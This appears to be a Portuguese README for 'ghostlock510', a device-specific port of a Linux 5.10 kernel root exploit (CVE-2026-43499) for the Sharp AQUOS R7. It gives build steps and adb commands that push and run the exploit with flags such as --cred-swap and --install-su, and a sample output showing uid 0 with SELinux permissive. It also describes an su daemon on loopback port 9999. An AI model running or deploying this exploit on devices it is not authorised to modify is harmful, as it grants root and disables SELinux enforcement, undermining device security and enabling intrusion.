
Exploit de root do kernel Linux 5.10 específico para o dispositivo Sharp AQUOS R7 (CVE-2026-43499), concedendo UID 0 temporário com SELinux permissivo e um daemon su.
Port específico do dispositivo para Linux 5.10 do GhostLock (CVE-2026-43499) para o Sharp
AQUOS R7. O alvo validado é o AQUOS R7 (Mineva, SGA202SH/A202SH)
executando Android 14 build 03.00.06, kernel
5.10.218-android12-9-00041-g124993efd06e-ab12385094 (SM8450).
Este é um port do aquos-r6-ghostlock
(AQUOS R6, kernel 5.4.61-qgki). Todas as constantes — tratamento de KASLR, a
janela de vazamento de selinux_state, offsets de task/cred, a região de scratch
zero-BSS — foram re-derivadas e validadas contra o kernel do R7; a geometria de
pilha do R6 serviu apenas como referência inicial.
Uma execução bem-sucedida fornece UID 0 com SELinux permissivo e inicia um pequeno
daemon de comando su. Ele não concede um conjunto completo de capacidades Linux
e a alteração não é persistente: um reboot restaura o estado original do kernel.
O clang do Android NDK com alvo aarch64-linux-android29 é necessário (testado
com NDK r30):
make build/ghostlock510 # ~3.4 MB static binary
make strip # optional; ~0.6 MB, same behaviour
Reprodutibilidade: este código-fonte, compilado com o toolchain acima, é byte-idêntico
(MD5 fa896ebd361519766b46cc2bab70dea2) ao binário usado em todos os testes
no dispositivo. O asset de release é a forma llvm-strip-ed exatamente desse binário
(598.672 bytes, SHA-256 d3056b65380da9fda68bc1891a08c6028ee1cbdb39ff2c3ca136b703f1b0bef7).
Envie o binário (asset de release ou sua própria build) e execute-o uma vez:
adb push ghostlock510 /data/local/tmp/ghostlock510
adb shell chmod 755 /data/local/tmp/ghostlock510
adb shell "setsid nohup /data/local/tmp/ghostlock510 \
--use-setattr --stamp3 --perm-pc --cred-swap --install-su \
--stamp-off 0xf0 --log /data/local/tmp/ghostlock510.log \
</dev/null >/dev/null 2>&1 &"
Use o cliente su instalado para comandos root (caminho completo necessário):
adb shell "/data/local/tmp/su -c 'id; getenforce'"
# uid=0(root) gid=2000(shell) groups=2000(shell) context=u:r:kernel:s0
# Permissive
O su comunica-se com o daemon do exploit via TCP em loopback (porta 9999); nenhum
shell root persistente é anexado. Os comandos são baseados em linha, e aninhar su
dentro de su não funciona. Programas interativos (vi, top, …) querem um PTY; um
modo su interativo sobre o daemon é deixado como trabalho futuro.
Medido nesta build exata (veja VERIFICATION.md):
Portanto: reinicie, execute ghostlock510 uma vez, e não o execute novamente enquanto essa
sessão estiver viva. O reboot é o caminho de limpeza.
Grandes entradas externas são deliberadamente não incluídas neste repositório:
vmlinux/System.map da
build de kernel do Android CI 12385094; a identidade em nível de byte com o kernel
realmente em execução no dispositivo foi verificada via sua imagem boot_a.--stamp3 / --use-setattr
foi inspirada nele (nenhuma licença declarada naquele repositório).